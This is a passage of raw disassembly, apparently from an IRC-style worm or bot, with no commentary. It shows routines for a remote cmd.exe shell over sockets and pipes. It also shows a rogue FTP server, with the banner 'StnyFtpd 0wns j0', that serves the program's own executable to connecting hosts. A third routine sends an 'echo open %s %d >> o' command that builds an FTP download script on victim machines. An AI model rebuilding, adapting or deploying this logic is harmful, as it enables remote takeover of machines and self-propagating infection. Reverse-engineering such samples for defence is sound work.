lea eax, [ebp+1Ch] push eax push dword ptr [ebp+8] call sub_408EB9 add esp, 40h lea eax, [ebp-24Ch] push eax call sub_41458A mov eax, [ebp+0B0h] pop ecx shl eax, 6 inc dword_4492B0[eax] push esi lea eax, dword_4492B0[eax] call dword_4F1508 ; closesocket push 1 pop eax jmp short loc_40DF61 ; --------------------------------------------------------------------------- loc_40DF58: ; CODE XREF: .nsp0:0040DD81j ; .nsp0:0040DDA6j ... push esi call dword_4F1508 ; closesocket loc_40DF5F: ; CODE XREF: .nsp0:0040DD6Bj xor eax, eax loc_40DF61: ; CODE XREF: .nsp0:0040DF56j pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= sub_40DF66 proc near ; CODE XREF: .nsp0:0040DEE6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_8] push edi mov edi, [esp+8+arg_4] test esi, esi jle short loc_40DF82 push esi push edi push [esp+10h+arg_0] call sub_40DC89 add esp, 0Ch loc_40DF82: ; CODE XREF: sub_40DF66+Cj and byte ptr [edi+esi], 0 pop edi pop esi retn sub_40DF66 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_40DF89 proc near ; DATA XREF: sub_40E017+15Bo var_404 = byte ptr -404h var_4 = byte ptr -4 push ebp mov ebp, esp sub esp, 404h loc_40DF92: ; CODE XREF: sub_40DF89+25j ; sub_40DF89+41j push 0 lea eax, [ebp+var_404] push 400h push eax push dword_4E360C call dword_4E08B8 test eax, eax jle short loc_40DF92 lea ecx, [ebp+var_4] push 0 push ecx push eax lea eax, [ebp+var_404] push eax push dword_4E3608 call dword_4F139C ; WriteFile jmp short loc_40DF92 sub_40DF89 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_40DFCC proc near ; DATA XREF: sub_40E017+142o var_404 = byte ptr -404h var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 404h loc_40DFD5: ; CODE XREF: sub_40DFCC+2Fj ; sub_40DFCC+49j lea eax, [ebp+var_4] and [ebp+var_4], 0 push 0 push eax lea eax, [ebp+var_404] push 400h push eax push dword_4E35FC call dword_4F13A4 ; ReadFile cmp [ebp+var_4], 0 jle short loc_40DFD5 push 0 lea eax, [ebp+var_404] push [ebp+var_4] push eax push dword_4E360C call dword_4E08EC jmp short loc_40DFD5 sub_40DFCC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_40E017 proc near ; DATA XREF: sub_401CC1+2868o var_11C = byte ptr -11Ch var_98 = dword ptr -98h var_7C = dword ptr -7Ch var_50 = dword ptr -50h var_4C = word ptr -4Ch var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = byte ptr -3Ch var_38 = word ptr -38h var_36 = word ptr -36h var_28 = dword ptr -28h var_24 = dword ptr -24h var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 11Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 28h mov esi, eax pop ecx lea edi, [ebp+var_11C] rep movsd push 1 xor edi, edi pop esi mov [eax+98h], esi push 10h lea eax, [ebp+var_38] push edi push eax call sub_41B190 add esp, 0Ch mov [ebp+var_38], 2 push [ebp+var_98] call dword_4E08A0 push 6 push esi push 2 mov [ebp+var_36], ax call dword_4E091C mov [ebp+arg_0], eax lea eax, [ebp+var_38] push 10h push eax push [ebp+arg_0] call dword_4E08CC push 5 push [ebp+arg_0] call dword_4E08C8 mov ebx, dword_4F13B8 mov esi, dword_4F1324 loc_40E097: ; CODE XREF: sub_40E017+1CBj push edi push edi push [ebp+arg_0] call dword_4E0930 mov dword_4E360C, eax lea eax, [ebp+var_C] push edi push eax push offset dword_4E3608 push offset dword_4E3604 mov [ebp+var_C], 0Ch mov [ebp+var_4], 1 mov [ebp+var_8], edi call ebx ; CreatePipe lea eax, [ebp+var_C] push edi push eax push offset dword_4E3600 push offset dword_4E35FC call ebx ; CreatePipe push 44h lea eax, [ebp+var_7C] push edi push eax call sub_41B190 mov eax, dword_4E3604 add esp, 0Ch mov [ebp+var_44], eax mov eax, dword_4E3600 mov [ebp+var_40], eax push edi push 1 lea eax, [ebp+var_3C] push 2 push eax mov [ebp+var_7C], 44h mov [ebp+var_50], 101h mov [ebp+var_4C], di call dword_4F13B4 ; GetCurrentProcess push eax push dword_4E3600 call dword_4F13B4 ; GetCurrentProcess push eax call dword_4F13B0 ; DuplicateHandle lea eax, [ebp+var_28] push eax lea eax, [ebp+var_7C] push eax push edi push edi push 4000090h lea eax, [ebp+var_C] push 1 push eax lea eax, [ebp+var_C] push eax push offset aCmd_exe ; "cmd.exe" push edi call dword_4F1328 ; CreateProcessA lea eax, [ebp+var_18] push eax push edi push edi push offset sub_40DFCC lea eax, [ebp+var_C] push edi push eax call dword_4F1338 ; CreateThread mov [ebp+var_14], eax lea eax, [ebp+var_18] push eax push edi push edi push offset sub_40DF89 lea eax, [ebp+var_C] push edi push eax call dword_4F1338 ; CreateThread push 0FFFFFFFFh mov [ebp+var_10], eax push [ebp+var_28] call dword_4F135C ; WaitForSingleObject push edi push [ebp+var_10] call dword_4F1368 ; TerminateThread push edi push [ebp+var_14] call dword_4F1368 ; TerminateThread push [ebp+var_10] call esi ; CloseHandle push [ebp+var_14] call esi ; CloseHandle push edi push [ebp+var_28] call dword_4F13AC ; TerminateProcess push dword_4E3604 call esi ; CloseHandle push dword_4E3608 call esi ; CloseHandle push dword_4E35FC call esi ; CloseHandle push dword_4E3600 call esi ; CloseHandle push [ebp+var_24] call esi ; CloseHandle push [ebp+var_28] call esi ; CloseHandle jmp loc_40E097 sub_40E017 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40E1E7 proc near ; DATA XREF: .nsp0:0043A010o jmp $+5 sub_40E1E7 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40E1EC proc near push 0FFFEh push 400h call sub_4165B5 pop ecx mov dword_4E3614, eax pop ecx retn sub_40E1EC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E203 proc near ; DATA XREF: sub_40B1CC+34Do var_6C0 = byte ptr -6C0h var_2C0 = byte ptr -2C0h var_C0 = byte ptr -0C0h var_B0 = dword ptr -0B0h var_AC = dword ptr -0ACh var_A4 = dword ptr -0A4h var_A0 = byte ptr -0A0h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 6C0h mov eax, [ebp+arg_0] push ebx push esi push edi push 27h mov esi, eax pop ecx lea edi, [ebp+var_B0] rep movsd push 1 xor ebx, ebx pop esi mov [eax+98h], esi push 10h lea eax, [ebp+var_14] push ebx push eax call sub_41B190 add esp, 0Ch mov [ebp+var_14], 2 push [ebp+var_A4] call dword_4E08A0 push ebx push esi push 2 mov [ebp+var_12], ax mov [ebp+var_10], ebx call dword_4E091C mov edi, eax or esi, 0FFFFFFFFh cmp edi, esi jnz short loc_40E2AA cmp [ebp+var_1C], ebx jnz short loc_40E28A push ebx lea eax, [ebp+var_2C0] push [ebp+var_20] push eax lea eax, [ebp+var_A0] push eax push [ebp+var_B0] call sub_408EB9 add esp, 14h loc_40E28A: ; CODE XREF: sub_40E203+65j lea eax, [ebp+var_2C0] push eax call sub_41458A push [ebp+var_AC] call sub_40AB19 pop ecx pop ecx push ebx call dword_4F1388 ; ExitThread loc_40E2AA: ; CODE XREF: sub_40E203+60j mov eax, [ebp+var_AC] push 10h imul eax, 234h mov dword_4537D4[eax], edi lea eax, [ebp+var_14] push eax push edi call dword_4E08CC cmp eax, esi mov ebx, 400h jnz loc_40E3A5 call dword_4E083C cmp eax, 2740h jz short loc_40E32A xor esi, esi cmp [ebp+var_1C], esi jnz short loc_40E30A push esi lea eax, [ebp+var_2C0] push [ebp+var_20] push eax lea eax, [ebp+var_A0] push eax push [ebp+var_B0] call sub_408EB9 add esp, 14h loc_40E30A: ; CODE XREF: sub_40E203+E5j lea eax, [ebp+var_2C0] push eax call sub_41458A push [ebp+var_AC] call sub_40AB19 pop ecx pop ecx push esi call dword_4F1388 ; ExitThread loc_40E32A: ; CODE XREF: sub_40E203+DEj push 0FFFEh push ebx call sub_4165B5 pop ecx mov dword_4E3614, eax pop ecx mov [ebp+var_12], ax lea eax, [ebp+var_14] push 10h push eax push edi call dword_4E08CC cmp eax, esi jnz short loc_40E3A5 call dword_4E083C xor esi, esi cmp [ebp+var_1C], esi jnz short loc_40E385 cmp eax, 2740h jz short loc_40E385 push esi lea eax, [ebp+var_2C0] push [ebp+var_20] push eax lea eax, [ebp+var_A0] push eax push [ebp+var_B0] call sub_408EB9 add esp, 14h loc_40E385: ; CODE XREF: sub_40E203+159j ; sub_40E203+160j lea eax, [ebp+var_2C0] push eax call sub_41458A push [ebp+var_AC] call sub_40AB19 pop ecx pop ecx push esi call dword_4F1388 ; ExitThread loc_40E3A5: ; CODE XREF: sub_40E203+CDj ; sub_40E203+14Cj push 5 push edi call dword_4E08C8 cmp eax, esi jz loc_40E48A mov [ebp+var_4], 10h mov esi, offset byte_43A0E8 loc_40E3C2: ; CODE XREF: sub_40E203+1D7j ; sub_40E203+227j ... lea eax, [ebp+var_4] push eax lea eax, [ebp+var_C0] push eax push edi call dword_4E0930 cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz short loc_40E3C2 cmp [ebp+var_1C], 0 jnz short loc_40E403 push 0 lea eax, [ebp+var_2C0] push [ebp+var_20] push eax lea eax, [ebp+var_A0] push eax push [ebp+var_B0] call sub_408EB9 add esp, 14h loc_40E403: ; CODE XREF: sub_40E203+1DDj lea eax, [ebp+var_2C0] push eax call sub_41458A pop ecx lea eax, [ebp+var_2C0] push 0 push 200h push eax push [ebp+arg_0] call dword_4E08B8 cmp eax, 0FFFFFFFFh jz short loc_40E3C2 push esi push esi push dword_4E05C8 push [ebp+var_B0] call sub_40A019 pop ecx push eax push offset aEchoOpenSDOEch ; "echo open %s %d >> o&echo user 1 >>o &e"... lea eax, [ebp+var_6C0] push ebx push eax call sub_41B910 add esp, 1Ch lea eax, [ebp+var_6C0] push 0 push eax call sub_418D00 pop ecx push eax lea eax, [ebp+var_6C0] push eax push [ebp+arg_0] call dword_4E08EC cmp eax, 0FFFFFFFFh jz loc_40E3C2 inc dword_4E361C jmp loc_40E3C2 ; --------------------------------------------------------------------------- loc_40E48A: ; CODE XREF: sub_40E203+1ADj push edi call dword_4E0934 push [ebp+var_AC] call sub_40AB19 pop ecx push 0 call dword_4F1388 ; ExitThread sub_40E203 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E4A5 proc near ; DATA XREF: sub_40B1CC+22Ao var_A70 = byte ptr -0A70h var_8E0 = byte ptr -8E0h var_6E0 = dword ptr -6E0h var_4C8 = byte ptr -4C8h var_448 = dword ptr -448h var_444 = dword ptr -444h var_43C = dword ptr -43Ch var_338 = byte ptr -338h var_2D4 = byte ptr -2D4h var_2A0 = byte ptr -2A0h var_23C = byte ptr -23Ch var_22C = dword ptr -22Ch var_228 = dword ptr -228h var_128 = byte ptr -128h var_FC = byte ptr -0FCh var_C8 = byte ptr -0C8h var_B0 = byte ptr -0B0h var_4C = word ptr -4Ch var_4A = word ptr -4Ah var_48 = dword ptr -48h var_3C = byte ptr -3Ch var_2C = dword ptr -2Ch var_28 = byte ptr -28h var_24 = dword ptr -24h var_20 = byte ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0A70h mov eax, [ebp+arg_0] push ebx push esi push edi push 1 mov ecx, 0A9h mov esi, eax lea edi, [ebp+var_6E0] pop ebx rep movsd mov [eax+2A0h], ebx lea eax, [ebp+var_A70] xor esi, esi push eax push 101h mov [ebp+var_1C], ebx mov [ebp+var_2C], ebx mov [ebp+var_24], ebx mov [ebp+var_22C], esi mov [ebp+var_43C], esi call dword_4F14DC ; WSAStartup push esi push ebx push 2 call dword_4F150C ; socket mov esi, dword_4F14E0 lea ecx, [ebp+var_1C] push 4 push ecx mov edi, 0FFFFh push 4 push edi push eax mov [ebp+var_8], eax call esi ; setsockopt lea eax, [ebp+var_2C] push 4 push eax push 0FFFFFFFBh push edi mov edi, [ebp+var_8] push edi call esi ; setsockopt lea eax, [ebp+var_24] push eax push 8004667Eh push edi call dword_4F14E4 ; ioctlsocket mov ax, word ptr dword_4E05C8 and [ebp+var_48], 0 push eax mov [ebp+var_4C], 2 call dword_4E08A0 mov [ebp+var_4A], ax lea eax, [ebp+var_4C] push 10h push eax push edi call dword_4F14E8 ; bind test eax, eax jge short loc_40E56B mov eax, ebx jmp loc_40EAD2 ; --------------------------------------------------------------------------- loc_40E56B: ; CODE XREF: sub_40E4A5+BDj push 0Ah push edi call dword_4F14EC ; listen mov [ebp+var_22C], ebx mov ebx, dword_4F1510 mov [ebp+var_228], edi mov [ebp+var_4], edi loc_40E589: ; CODE XREF: sub_40E4A5+11Dj ; sub_40E4A5+625j push 41h lea esi, [ebp+var_22C] pop ecx lea edi, [ebp+var_43C] rep movsd xor esi, esi lea eax, [ebp+var_43C] push esi push esi push esi push eax mov eax, [ebp+var_4] inc eax push eax call dword_4F1514 ; select cmp eax, 0FFFFFFFFh jz loc_40EACF xor edi, edi cmp [ebp+var_4], esi mov [ebp+arg_0], edi jl short loc_40E589 loc_40E5C4: ; CODE XREF: sub_40E4A5+61Fj xor esi, esi push 64h lea eax, [ebp+var_2A0] push esi push eax call sub_41B190 push 64h lea eax, [ebp+var_B0] push esi push eax call sub_41B190 add esp, 18h lea eax, [ebp+var_43C] push eax push edi call sub_435832 ; __WSAFDIsSet test eax, eax jz loc_40EABD cmp edi, [ebp+var_8] jnz short loc_40E67B lea eax, [ebp+var_10] mov [ebp+var_10], 10h push eax lea eax, [ebp+var_23C] push eax push [ebp+var_8] call dword_4F14F0 ; accept cmp eax, 0FFFFFFFFh jz loc_40EABD xor ecx, ecx cmp [ebp+var_22C], esi jbe short loc_40E645 lea edx, [ebp+var_228] loc_40E635: ; CODE XREF: sub_40E4A5+19Ej cmp [edx], eax jz short loc_40E645 inc ecx add edx, 4 cmp ecx, [ebp+var_22C] jb short loc_40E635 loc_40E645: ; CODE XREF: sub_40E4A5+188j ; sub_40E4A5+192j cmp ecx, [ebp+var_22C] jnz short loc_40E663 cmp [ebp+var_22C], 40h jnb short loc_40E663 mov [ebp+ecx*4+var_228], eax inc [ebp+var_22C] loc_40E663: ; CODE XREF: sub_40E4A5+1A6j ; sub_40E4A5+1AFj cmp eax, [ebp+var_4] jle short loc_40E66B mov [ebp+var_4], eax loc_40E66B: ; CODE XREF: sub_40E4A5+1C1j push esi push 15h push offset a220Stnyftpd0wn ; "220 StnyFtpd 0wns j0\n" push eax call ebx ; send jmp loc_40EABD ; --------------------------------------------------------------------------- loc_40E67B: ; CODE XREF: sub_40E4A5+15Aj push esi lea eax, [ebp+var_2A0] push 64h push eax push edi call dword_4F1504 ; recv test eax, eax jg short loc_40E6E2 mov edx, [ebp+var_22C] xor ecx, ecx cmp edx, esi jbe short loc_40E6D6 lea eax, [ebp+var_228] loc_40E6A2: ; CODE XREF: sub_40E4A5+207j cmp [eax], edi jz short loc_40E6B0 inc ecx add eax, 4 cmp ecx, edx jb short loc_40E6A2 jmp short loc_40E6D6 ; --------------------------------------------------------------------------- loc_40E6B0: ; CODE XREF: sub_40E4A5+1FFj dec edx cmp ecx, edx jnb short loc_40E6D0 lea eax, [ebp+ecx*4+var_228] loc_40E6BC: ; CODE XREF: sub_40E4A5+229j mov edx, [eax+4] inc ecx mov [eax], edx mov edx, [ebp+var_22C] add eax, 4 dec edx cmp ecx, edx jb short loc_40E6BC loc_40E6D0: ; CODE XREF: sub_40E4A5+20Ej dec [ebp+var_22C] loc_40E6D6: ; CODE XREF: sub_40E4A5+1F5j ; sub_40E4A5+209j push edi call dword_4F1508 ; closesocket jmp loc_40EABD ; --------------------------------------------------------------------------- loc_40E6E2: ; CODE XREF: sub_40E4A5+1E9j lea eax, [ebp+var_338] push eax lea eax, [ebp+var_B0] push eax lea eax, [ebp+var_2A0] push offset aSS_1 ; "%s %s" push eax call sub_41CC10 lea eax, [ebp+var_B0] push offset aUser_0 ; "USER" push eax call sub_41C4C0 add esp, 18h test eax, eax jnz short loc_40E726 push esi push 16h push offset a331PasswordReq ; "331 Password required\n" jmp loc_40EAA8 ; --------------------------------------------------------------------------- loc_40E726: ; CODE XREF: sub_40E4A5+272j lea eax, [ebp+var_B0] push offset aPass ; "PASS" push eax call sub_41C4C0 pop ecx test eax, eax pop ecx jnz short loc_40E74A push esi push 14h push offset a230UserLoggedI ; "230 User logged in.\n" jmp loc_40EAA8 ; --------------------------------------------------------------------------- loc_40E74A: ; CODE XREF: sub_40E4A5+296j lea eax, [ebp+var_B0] push offset aSyst ; "SYST" push eax call sub_41C4C0 pop ecx test eax, eax pop ecx jnz short loc_40E76E push esi push 0Dh push offset a215Stnyftpd ; "215 StnyFtpd\n" jmp loc_40EAA8 ; --------------------------------------------------------------------------- loc_40E76E: ; CODE XREF: sub_40E4A5+2BAj lea eax, [ebp+var_B0] push offset aRest ; "REST" push eax call sub_41C4C0 pop ecx test eax, eax pop ecx jnz short loc_40E792 push esi push 10h push offset a350Restarting_ ; "350 Restarting.\n" jmp loc_40EAA8 ; --------------------------------------------------------------------------- loc_40E792: ; CODE XREF: sub_40E4A5+2DEj lea eax, [ebp+var_B0] push offset off_44B628 push eax call sub_41C4C0 pop ecx test eax, eax pop ecx jnz short loc_40E7B6 push esi push 1Eh push offset a257IsCurrentDi ; "257 \"/\" is current directory.\n" jmp loc_40EAA8 ; --------------------------------------------------------------------------- loc_40E7B6: ; CODE XREF: sub_40E4A5+302j lea eax, [ebp+var_B0] push offset aType ; "TYPE" push eax call sub_41C4C0 pop ecx test eax, eax pop ecx jnz short loc_40E7F1 lea eax, [ebp+var_338] push offset aA_0 ; "A" push eax call sub_41C4C0 pop ecx test eax, eax pop ecx jnz short loc_40E7F1 push esi push 13h push offset a200TypeSetToA_ ; "200 Type set to A.\n" jmp loc_40EAA8 ; --------------------------------------------------------------------------- loc_40E7F1: ; CODE XREF: sub_40E4A5+326j ; sub_40E4A5+33Dj lea eax, [ebp+var_B0] push offset aType_0 ; "TYPE" push eax call sub_41C4C0 pop ecx test eax, eax pop ecx jnz short loc_40E82C lea eax, [ebp+var_338] push offset aI ; "I" push eax call sub_41C4C0 pop ecx test eax, eax pop ecx jnz short loc_40E82C push esi push 13h push offset a200TypeSetToI_ ; "200 Type set to I.\n" jmp loc_40EAA8 ; --------------------------------------------------------------------------- loc_40E82C: ; CODE XREF: sub_40E4A5+361j ; sub_40E4A5+378j lea eax, [ebp+var_B0] push offset aPasv ; "PASV" push eax call sub_41C4C0 pop ecx test eax, eax pop ecx jnz short loc_40E87A push 0Ah mov esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"... pop ecx lea edi, [ebp+var_128] rep movsd push eax lea eax, [ebp+var_128] push eax movsw call sub_418D00 pop ecx push eax lea eax, [ebp+var_128] loc_40E86A: ; CODE XREF: sub_40E4A5+414j push eax push [ebp+arg_0] call ebx ; send xor esi, esi loc_40E872: ; CODE XREF: sub_40E4A5+4E4j mov edi, [ebp+arg_0] jmp loc_40EAAB ; --------------------------------------------------------------------------- loc_40E87A: ; CODE XREF: sub_40E4A5+39Cj lea eax, [ebp+var_B0] push offset aList_0 ; "LIST" push eax call sub_41C4C0 pop ecx test eax, eax pop ecx jnz short loc_40E8BB push 5 mov esi, offset a226TransferCom ; "226 Transfer complete\n" pop ecx lea edi, [ebp+var_C8] rep movsd movsw push eax lea eax, [ebp+var_C8] push eax movsb call sub_418D00 pop ecx push eax lea eax, [ebp+var_C8] jmp short loc_40E86A ; --------------------------------------------------------------------------- loc_40E8BB: ; CODE XREF: sub_40E4A5+3EAj lea eax, [ebp+var_B0] push offset aPort ; "PORT" push eax call sub_41C4C0 pop ecx test eax, eax pop ecx jnz loc_40E98E lea eax, [ebp+var_2D4] push eax lea eax, [ebp+var_FC] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_18] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_28] push eax lea eax, [ebp+var_2A0] push offset aS_19 ; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"... push eax call sub_41CC10 lea eax, [ebp+var_FC] push eax call sub_41B3F0 mov edi, eax lea eax, [ebp+var_2D4] push eax call sub_41B3F0 mov [ebp+var_C], eax push 32h lea eax, [ebp+var_FC] push esi push eax call sub_41B190 push [ebp+var_C] lea eax, [ebp+var_FC] push edi push offset aXX ; "%x%x\n" push eax call sub_41B740 add esp, 44h lea eax, [ebp+var_FC] push 10h push esi push eax call sub_41C130 mov [ebp+var_C], eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_18] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_28] push eax lea eax, [ebp+var_3C] push offset aS_S_S_S ; "%s.%s.%s.%s" push eax call sub_41B740 add esp, 24h push esi push 1Dh push offset a200PortCommand ; "200 PORT command successful.\n" push [ebp+arg_0] call ebx ; send jmp loc_40E872 ; --------------------------------------------------------------------------- loc_40E98E: ; CODE XREF: sub_40E4A5+42Bj lea eax, [ebp+var_B0] push offset aRetr ; "RETR" push eax call sub_41C4C0 pop ecx test eax, eax pop ecx jnz loc_40EA89 push esi push 28h push offset a150OpeningBina ; "150 Opening BINARY mode data connection"... push edi call ebx ; send push [ebp+var_C] lea eax, [ebp+var_3C] push eax call sub_40EAD9 pop ecx cmp eax, 1 pop ecx jnz loc_40EA7F lea eax, [ebp+var_3C] push eax lea eax, [ebp+var_8E0] push offset aFtpTransferSta ; "ftp transfer started to: %s" push eax call sub_41B740 add esp, 0Ch cmp [ebp+var_444], esi jnz short loc_40EA0E push esi lea eax, [ebp+var_8E0] push [ebp+var_448] push eax lea eax, [ebp+var_4C8] push eax push [ebp+var_6E0] call sub_408EB9 add esp, 14h loc_40EA0E: ; CODE XREF: sub_40E4A5+544j call sub_40EB56 cmp eax, 1 jnz loc_40EAAB push esi push 17h push offset a226TransferC_0 ; "226 Transfer complete.\n" push edi call ebx ; send lea eax, [ebp+var_3C] push eax lea eax, [ebp+var_8E0] push offset aFtpTransferCom ; "ftp transfer complete to: %s" push eax call sub_41B740 add esp, 0Ch cmp [ebp+var_444], esi jnz short loc_40EA6A push esi lea eax, [ebp+var_8E0] push [ebp+var_448] push eax lea eax, [ebp+var_4C8] push eax push [ebp+var_6E0] call sub_408EB9 add esp, 14h loc_40EA6A: ; CODE XREF: sub_40E4A5+5A0j lea eax, [ebp+var_8E0] push eax call sub_41458A inc dword_4E33C0 pop ecx jmp short loc_40EAAB ; --------------------------------------------------------------------------- loc_40EA7F: ; CODE XREF: sub_40E4A5+520j push esi push 20h push offset a425CanTOpenDat ; "425 Can't open data connection.\n" jmp short loc_40EAA8 ; --------------------------------------------------------------------------- loc_40EA89: ; CODE XREF: sub_40E4A5+4FEj lea eax, [ebp+var_B0] push offset aQuit_1 ; "QUIT" push eax call sub_41C4C0 pop ecx test eax, eax pop ecx jnz short loc_40EAAB push esi push 1Bh push offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n" loc_40EAA8: ; CODE XREF: sub_40E4A5+27Cj ; sub_40E4A5+2A0j ... push edi call ebx ; send loc_40EAAB: ; CODE XREF: sub_40E4A5+3D0j ; sub_40E4A5+571j ... push 64h lea eax, [ebp+var_2A0] push esi push eax call sub_41B190 add esp, 0Ch loc_40EABD: ; CODE XREF: sub_40E4A5+151j ; sub_40E4A5+17Aj ... inc edi cmp edi, [ebp+var_4] mov [ebp+arg_0], edi jle loc_40E5C4 jmp loc_40E589 ; --------------------------------------------------------------------------- loc_40EACF: ; CODE XREF: sub_40E4A5+10Fj push 1 pop eax loc_40EAD2: ; CODE XREF: sub_40E4A5+C1j pop edi pop esi pop ebx leave retn 4 sub_40E4A5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EAD9 proc near ; CODE XREF: sub_40E4A5+516p var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 1A0h lea eax, [ebp+var_1A0] push eax push 101h call dword_4F14DC ; WSAStartup push 0 push 1 push 2 call dword_4F150C ; socket push [ebp+arg_0] mov dword_4E3620, eax mov [ebp+var_10], 2 call dword_4F14F8 ; inet_addr push [ebp+arg_4] mov [ebp+var_C], eax call dword_4F14FC ; htons mov [ebp+var_E], ax lea eax, [ebp+var_10] push 10h push eax push dword_4E3620 call dword_4F1500 ; connect cmp eax, 0FFFFFFFFh jnz short loc_40EB51 push dword_4E3620 call dword_4F1508 ; closesocket call dword_4F14D8 ; WSACleanup xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_40EB51: ; CODE XREF: sub_40EAD9+60j push 1 pop eax leave retn sub_40EAD9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EB56 proc near ; CODE XREF: sub_40E4A5:loc_40EA0Ep var_504 = byte ptr -504h var_104 = byte ptr -104h push ebp mov ebp, esp sub esp, 504h push esi lea eax, [ebp+var_104] push 104h push eax push 0 call dword_4F132C ; GetModuleFileNameA lea eax, [ebp+var_104] push offset aRb ; "rb" push eax call sub_41B170 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_40EBED test byte ptr [esi+0Ch], 10h jnz short loc_40EBD1 push edi mov edi, 400h loc_40EB99: ; CODE XREF: sub_40EB56+78j push esi push 1 lea eax, [ebp+var_504] push edi push eax call sub_41AE60 add esp, 10h lea eax, [ebp+var_504] push 0 push edi push eax push dword_4E3620 call dword_4F1510 ; send push 1 call dword_4F1334 ; Sleep test byte ptr [esi+0Ch], 10h jz short loc_40EB99 pop edi loc_40EBD1: ; CODE XREF: sub_40EB56+3Bj push esi call sub_418D80 pop ecx push dword_4E3620 call dword_4F1508 ; closesocket call dword_4F14D8 ; WSACleanup push 1 pop eax loc_40EBED: ; CODE XREF: sub_40EB56+35j pop esi leave retn sub_40EB56 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EBF0 proc near ; DATA XREF: sub_401CC1+1DBBo ; sub_40B1CC+475o var_28F0 = byte ptr -28F0h var_18F0 = byte ptr -18F0h var_8F0 = byte ptr -8F0h var_6F0 = byte ptr -6F0h var_5EC = dword ptr -5ECh var_5E8 = byte ptr -5E8h var_360 = byte ptr -360h var_25C = dword ptr -25Ch var_254 = dword ptr -254h var_250 = dword ptr -250h var_24C = dword ptr -24Ch var_248 = dword ptr -248h var_23C = byte ptr -23Ch var_138 = dword ptr -138h var_134 = dword ptr -134h var_34 = byte ptr -34h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 28F0h call sub_41BC60 mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp+var_5EC] push 1 rep movsd pop esi xor ebx, ebx mov [eax+3ACh], esi push 10h lea eax, [ebp+var_24] push ebx push eax mov [ebp+var_14], esi call sub_41B190 add esp, 0Ch mov [ebp+var_24], 2 push [ebp+var_25C] call dword_4E08A0 push ebx push esi push 2 mov [ebp+var_22], ax mov [ebp+var_20], ebx call dword_4E091C mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_C], edi jz loc_40EFE1 mov eax, [ebp+var_254] push 10h imul eax, 234h mov dword_4537D4[eax], edi lea eax, [ebp+var_24] push eax push edi call dword_4E08CC cmp eax, 0FFFFFFFFh jz loc_40EFE1 push 7FFFFFFFh push edi call dword_4E08C8 cmp eax, 0FFFFFFFFh jz loc_40EFE1 lea eax, [ebp+var_14] push eax push 8004667Eh push edi call dword_4E0938 cmp eax, 0FFFFFFFFh jz loc_40EFE1 mov ebx, esi mov [ebp+var_134], edi mov [ebp+var_138], ebx mov [ebp+var_8], edi loc_40ECC7: ; CODE XREF: sub_40EBF0+3E7j push 41h xor eax, eax pop ecx lea esi, [ebp+var_138] push eax push eax push eax lea eax, [ebp+var_6F0] push eax mov eax, [ebp+var_8] lea edi, [ebp+var_6F0] inc eax rep movsd push eax call dword_4E0888 cmp eax, 0FFFFFFFFh jz loc_40EFDC xor esi, esi mov [ebp+var_4], esi loc_40ECFD: ; CODE XREF: sub_40EBF0+3E1j lea eax, [ebp+var_6F0] push eax push esi call dword_4E079C test eax, eax jz loc_40EFC7 cmp esi, [ebp+var_C] jnz short loc_40ED7F lea eax, [ebp+var_10] mov [ebp+var_10], 10h push eax lea eax, [ebp+var_34] push eax push [ebp+var_C] call dword_4E0930 cmp eax, 0FFFFFFFFh jz loc_40EFC7 xor ecx, ecx test ebx, ebx jbe short loc_40ED51 lea edx, [ebp+var_134] loc_40ED45: ; CODE XREF: sub_40EBF0+15Fj cmp [edx], eax jz short loc_40ED51 inc ecx add edx, 4 cmp ecx, ebx jb short loc_40ED45 loc_40ED51: ; CODE XREF: sub_40EBF0+14Dj ; sub_40EBF0+157j cmp ecx, ebx jnz short loc_40ED6E cmp ebx, 